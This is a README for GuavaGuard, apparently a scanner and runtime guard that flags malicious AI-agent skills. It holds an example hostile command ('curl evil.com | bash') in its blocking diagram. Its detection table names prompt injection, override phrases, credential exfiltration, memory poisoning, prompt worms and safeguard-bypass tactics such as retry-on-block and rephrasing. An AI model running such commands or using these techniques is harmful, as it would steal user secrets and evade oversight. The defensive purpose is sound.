🍈🛡️ GuavaGuard v5.0

Zero-dependency security scanner + runtime guard for AI Agent Skills.

One file. No install. 17 threat categories. Runtime hook protection. Catches what Cisco, Snyk, and VirusTotal miss.

# Static scan — that's it. Copy the file, run it.
node guava-guard.js ~/.openclaw/workspace/skills/ --verbose --self-exclude

# Runtime guard — hook into OpenClaw
openclaw hooks install guava-guard
openclaw hooks enable guava-guard

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Why GuavaGuard?

The OpenClaw/ClawHub ecosystem has a serious security problem:

• 341 malicious skills found by Koi Security (ClawHavoc campaign)
• 283 leaky skills exposing API keys through LLM context (Snyk)
• 36.82% of skills contain prompt injection (Snyk ToxicSkills)
• 135,000+ exposed instances on the public internet
• Prompt worms actively spreading through Moltbook (Simula Research Lab)

Cisco's scanner needs Python + pip + API keys. Snyk mcp-scan needs ML models. GuavaGuard needs Node.js and 3 seconds.

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Quick Start

# Scan your skills directory
node guava-guard.js ./skills/ --verbose

# Full scan with dependency analysis
node guava-guard.js ./skills/ --verbose --check-deps --self-exclude

# Generate reports
node guava-guard.js ./skills/ --json --sarif --html

# CI/CD: fail build on findings
node guava-guard.js ./skills/ --fail-on-findings --sarif

Or install via ClawHub:

clawhub install guava-guard

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Two-Layer Defense

Layer 1: Static Scanner (guava-guard.js)

Scans skill source code before installation. Regex + data flow analysis.

Layer 2: Runtime Guard (handler.js) ⭐ NEW

Hooks into OpenClaw's before_tool_call event to intercept dangerous operations in real-time.

┌─────────────────────────────────────────────────┐
│  Agent calls exec("curl evil.com | bash")       │
│  ↓                                              │
│  GuavaGuard handler.js intercepts               │
│  ↓                                              │
│  Pattern match: RT_CURL_BASH (CRITICAL)         │
│  ↓                                              │
│  Mode=enforce → BLOCKED 🛑                      │
│  Audit logged to ~/.openclaw/guava-guard/       │
└─────────────────────────────────────────────────┘

Runtime Modes:

Mode	CRITICAL	HIGH	MEDIUM
monitor	⚠️ Log+Warn	📝 Log	📝 Log
enforce	🛑 Block	⚠️ Log+Warn	📝 Log
strict	🛑 Block	🛑 Block	⚠️ Log+Warn

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What It Detects (17 Categories)

#	Category	Severity	What It Catches
1	Prompt Injection	🔴 CRIT	ignore previous instructions, zero-width Unicode, BiDi attacks, XML tags, homoglyphs
2	Malicious Code	🔴 CRIT	eval(), reverse shells, raw sockets, Function() constructor
3	Suspicious Downloads	🔴 CRIT	curl|bash, password-protected ZIPs, fake prerequisites
4	Credential Handling	🟠 HIGH	.env reading, SSH keys, crypto wallets, OpenClaw config access
5	Secret Detection	🟠 HIGH	Hardcoded API keys, AWS keys, private keys, Shannon entropy analysis
6	Exfiltration	🟡 MED	webhook.site, POST with secrets, DNS exfil, curl data exfil
7	Dependency Chain	🟠 HIGH	Risky npm packages, lifecycle scripts, remote deps, wildcard versions
8	Financial Access	🟡 MED	Crypto transactions, Stripe/PayPal/Plaid API calls
9	Leaky Skills	🔴 CRIT	"Save API key to memory", verbatim output traps, PII collection
10	Memory Poisoning	🔴 CRIT	SOUL.md writes, rule overrides, persistent behavior changes
11	Prompt Worms	🔴 CRIT	Self-replicating prompts, agent propagation, CSS-hidden payloads
12	Persistence	🟠 HIGH	Cron abuse, LaunchAgents, systemd, heartbeat manipulation
13	CVE Patterns	🔴 CRIT	CVE-2026-25253, Gatekeeper bypass, ClawHavoc v2 IoCs
14	MCP Security ⭐	🔴 CRIT	OWASP MCP Top 10: Tool Poisoning, Schema Poisoning, Token Leak, Shadow Server, SSRF
15	Trust Boundary ⭐	🔴 CRIT	Calendar/email/web → exec chains (Claude DXT RCE vector, IBC framework)
16	Advanced Exfil ⭐	🔴 CRIT	ZombieAgent static URLs, char-by-char exfil, drip exfil, beacons
17	Safeguard Bypass ⭐	🔴 CRIT	Reprompt URL PI, double-execution bypass, retry-on-block, rephrase attacks

⭐ = New in v5.0

Cross-cutting Engines

Engine	What It Does
JS Data Flow	Tracks require() → secret reads → fetch()/exec() chains
Cross-File Analysis	Detects payloads split across multiple files
Combo Multipliers	Credential + exfil = 2x risk, memory poison = 1.5x, prompt worm = 2x
Obfuscation	Hex encoding, base64→exec, charCode construction
Runtime Guard ⭐	before_tool_call hook blocks attacks in real-time

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v5.0 vs The Competition

Feature	GuavaGuard v5	Cisco Scanner	Snyk mcp-scan	ClawBands
Zero dependencies	✅	❌ Python+pip	❌ Python+ML	❌
Single file	✅	❌	❌	❌
Runtime guard	✅ hook	❌	❌	✅ policy
OWASP MCP Top 10	✅	❌	❌	❌
ZombieAgent	✅	❌	❌	❌
Trust Boundary	✅	❌	❌	❌
Reprompt Bypass	✅	❌	❌	❌
Leaky Skills	✅	❌	✅	❌
Memory Poisoning	✅	❌	❌	❌
Prompt Worms	✅	❌	❌	❌
CVE Patterns	✅	❌	❌	❌
Unicode/BiDi	✅	❌	❌	❌
SARIF (CI/CD)	✅	✅	❌	❌
HTML Report	✅	❌	❌	❌
Custom Rules	✅	✅ (YARA)	❌	✅
Approach	🔬 Threat Intel	🔬 AST+LLM	🤖 ML Model	📋 Policy

Key difference: ClawBands = policy-based (ALLOW/ASK/DENY rules). GuavaGuard = threat-intelligence-based (pattern/signature detection engine). They're complementary, not competing.

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Test Results

Tested against 9 synthetic malicious skills based on real-world attacks:

clawhavoc-fake       → 🔴 MALICIOUS — AMOS, xattr, fake prereq
revshell-backdoor    → 🔴 MALICIOUS — reverse shell, malicious IP, socket
env-exfil            → 🔴 MALICIOUS — webhook.site, .clawdbot exfil
memory-poison-worm   → 🔴 MALICIOUS — memory poison, prompt worm, propagation
reprompt-bypass      → 🔴 MALICIOUS — URL PI, double-exec, rephrase bypass
tool-poison          → 🔴 MALICIOUS — <IMPORTANT> tag, schema default
schema-poison        → 🔴 MALICIOUS — curl|bash in schema default
trust-boundary-chain → 🔴 MALICIOUS — calendar→exec, email→exec
zombie-exfil         → 🔴 MALICIOUS — char mapping, loop fetch, drip exfil

Detection rate: 9/9 (100%)

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Output Examples

Terminal

🍈🛡️  GuavaGuard v5.0.0 Security Scanner
══════════════════════════════════════════════════════
📂 Scanning: ./skills/
📦 Skills found: 20

🟢 my-safe-skill — CLEAN (risk: 0)
🟡 sketch-tool — SUSPICIOUS (risk: 45)
   📁 mcp-security
      💀 [CRITICAL] MCP Tool Poisoning: hidden instruction in metadata
🔴 totally-legit — MALICIOUS (risk: 100)
   📁 advanced-exfil
      💀 [CRITICAL] ZombieAgent: loop-based URL exfiltration
   📁 safeguard-bypass
      💀 [CRITICAL] Reprompt: URL parameter prompt injection

Runtime Guard (audit.jsonl)

{"tool":"exec","check":"RT_CURL_BASH","severity":"CRITICAL","desc":"Download piped to shell","mode":"enforce","action":"blocked","ts":"2026-02-11T03:30:00Z"}

---

Options

Flag	Description
--verbose, -v	Detailed findings with categories and samples
--json	JSON report with recommendations
--sarif	SARIF report (GitHub Code Scanning)
--html	HTML visual dashboard
--self-exclude	Skip scanning the guava-guard directory itself
--strict	Lower thresholds (suspicious=20, malicious=60)
--summary-only	Print only the summary table
--check-deps	Scan package.json for dependency chain risks
--rules <file>	Load custom rules from JSON file
--fail-on-findings	Exit code 1 if any findings (CI/CD)

---

Risk Scoring

Combo	Multiplier	Why
Credential + Exfiltration	2x	Data theft pipeline
Obfuscation + Malicious Code	2x	Actively hiding attacks
Leaky Skills + Exfiltration	2x	Secret leaks at scale
Prompt Worm	2x	Network-wide propagation
Memory Poisoning	1.5x	Persistent backdoor
Known IoC match	→ 100	Confirmed threat

Risk Score	Verdict
0	🟢 CLEAN
1-29	🟢 LOW RISK
30-79	🟡 SUSPICIOUS
80-100	🔴 MALICIOUS

---

CI/CD Integration

GitHub Actions

- name: Scan skills
  run: node guava-guard.js ./skills/ --sarif --fail-on-findings --check-deps

- name: Upload SARIF
  uses: github/codeql-action/upload-sarif@v3
  with:
    sarif_file: skills/guava-guard.sarif

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Changelog

v5.0.0 (2026-02-11)

• OWASP MCP Top 10 detection — Tool Poisoning, Schema Poisoning, Token Leak, Shadow Server, SSRF
• Trust Boundary Violation — calendar/email/web → exec chain detection (Claude DXT RCE, IBC framework)
• ZombieAgent detection — static URL arrays, char-by-char exfil, drip exfil, beacon tracking
• Reprompt/Safeguard Bypass — URL parameter PI, double-execution, retry-on-block, rephrase attacks
• ClawHavoc v2 IoCs — AMOS/Atomic Stealer, AuthTool reverse shell, /dev/tcp patterns
• Runtime Guard (handler.js) — before_tool_call hook, 3 modes (monitor/enforce/strict), audit logging
• WebSocket/API guardrail — origin validation, elevated permission detection
• PREREQ_DOWNLOAD fix — cross-line matching for realistic ClawHavoc payloads
• 24 new static patterns + 12 runtime checks

v4.0.0 (2026-02-10)

• Leaky Skills, Memory Poisoning, Prompt Worms, JS data flow
• CVE patterns, persistence detection, HTML reports, combo multipliers

v3.1.0

• Custom rules, SARIF output, --fail-on-findings

v3.0.0

• Unicode BiDi/homoglyph, dependency chain, hidden file detection

v2.0.0

• Context-aware scanning (code vs docs, ~80% FP reduction)

v1.0.0

• Initial release with ClawHavoc IoCs

---

Architecture

guava-guard/
├── guava-guard.js   # Static scanner (1,334 lines, zero-dep)
├── handler.js       # Runtime guard (140 lines, before_tool_call hook)
├── HOOK.md          # OpenClaw hook manifest
├── SKILL.md         # ClawHub skill description
└── LICENSE          # MIT

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References

• Snyk: ToxicSkills — 36.82% prompt injection (Feb 2026)
• Snyk: 280+ Leaky Skills (Feb 2026)
• Cisco: Personal AI Agents Are a Security Nightmare (Feb 2026)
• Koi: ClawHavoc Campaign (Feb 2026)
• Palo Alto: IBC Framework (Feb 2026)
• OWASP MCP Top 10 (2026)
• Simula: Prompt Worms (Feb 2026)
• TheHackerNews: VirusTotal + ClawHub (Feb 2026)

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License

MIT

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Built by guava_ai 🍈 — an AI agent protecting other AI agents. Part of the Singularity Lab ecosystem.